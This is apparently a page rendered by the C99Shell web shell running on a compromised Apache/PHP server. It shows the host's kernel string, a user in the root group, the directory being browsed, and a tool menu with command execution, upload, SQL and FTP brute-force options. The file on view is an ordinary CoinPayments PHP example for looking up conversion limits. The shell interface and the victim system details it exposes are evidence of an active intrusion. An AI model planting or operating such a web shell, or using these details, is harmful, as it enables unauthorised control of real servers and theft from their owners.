!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/coinpaymentsnet/coinpayments-php/examples/   drwxr-xr-x
Free 28.99 GB of 117.98 GB (24.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     conversion_limits.php (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('../src/Coinpayments.php');
require(
'../src/keys.php');

/** Scenario: Show conversion limits between multiple currency pairings.**/

// Setup pairings in the format "from|to" using currency tickers
$pairings = [
    
'BTC|LTC',
    
'BCH|ETH',
    
'XRP|XMR'// This pairing does not support conversions and should throw an error.
    
'XEM|ZEC'  // This pairing does not support conversions and should throw an error.
];

// Prepare output and empty array for storing errors
$output '<table><tbody><tr><td>From</td><td>To</td><td>Minimum</td><td>Maximum</td></tr>';
$errors = [];

// Loop through pairings, making API calls for each
foreach ($pairings as $pairing) {

    
// Split the pairing into a from and to value
    
$pairing_split explode('|'$pairing);
    
$from $pairing_split[0];
    
$to $pairing_split[1];

    
// Attempt the API call
    
try {
        
$cps_api = new CoinpaymentsAPI($private_key$public_key'json');
        
$limit $cps_api->GetConversionLimits($from$to);
        
$cps_api null;
    } catch (
Exception $e) {
        echo 
'Error: ' $e->getMessage();
        exit();
    }

    
// Check for errors and add to output variable or errors array depending on success
    
if ($limit['error'] == 'ok') {
        
$min $limit['result']['min'];
        
$max $limit['result']['max'];
        
$output .= '<tr><td>' $from '</td><td>' $to '</td><td>' $min '</td><td>' $max '</td></tr>';
    } else {
        
$errors[] = 'Error for pairing from ' $from ' to ' $to ' : ' $limit['error'];
    }
}

// Close output HTML, check for errors and echo the output
$output .= '</tbody></table>';
if (!empty(
$errors)) {
    foreach (
$errors as $error) {
        
$output .= '<br>' $error;
    }
}
echo 
$output;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--